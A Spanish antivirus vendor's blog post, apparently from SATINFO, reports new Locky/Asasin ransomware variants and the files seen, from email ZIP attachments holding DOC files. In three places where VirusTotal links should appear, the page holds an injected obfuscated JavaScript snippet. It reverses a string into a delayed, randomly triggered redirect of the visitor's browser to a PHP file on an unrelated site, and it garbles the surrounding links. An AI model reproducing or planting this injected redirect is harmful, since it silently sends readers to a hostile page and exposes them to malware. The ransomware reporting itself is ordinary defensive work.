Y YA DE BUENA MAÑANA NOS ENCONTRAMOS CON MAS LOCKY ASASIN

Durante esta noche han entrado mas variantes de ransomware de moda, el LOCKY / Asasin, que pasamos a controlar a partir del ELISTARA 37.70 de hoy

Los preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/5b712f3ced695dd1510320494ecac67b277c0b386ee465303504c89431f87c78/analysis/1508484662/” target=”_blank” rel=”noopener”>fichero 29649c96.gxe

y mas de lo mismo en mails que contienen un ZIP que contiene otro ZIP con ficheros DOC:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/0f728b8f0e7ff8238f1b43649ddaeb70f580a4f4a28f9c7b187c3a27bb7f4b9b/analysis/1508485674/” target=”_blank” rel=”noopener”>DC000811.doc

y acabamos este informe con los últimos tres Locky/asasin recibidos hoy:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/cb4403f08159e6626b6ee7600a5b7e3b58807be482202d00256f8db4b9aeff07/analysis/1508492675/” target=”_blank” rel=”noopener”>7a620866.gxe

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.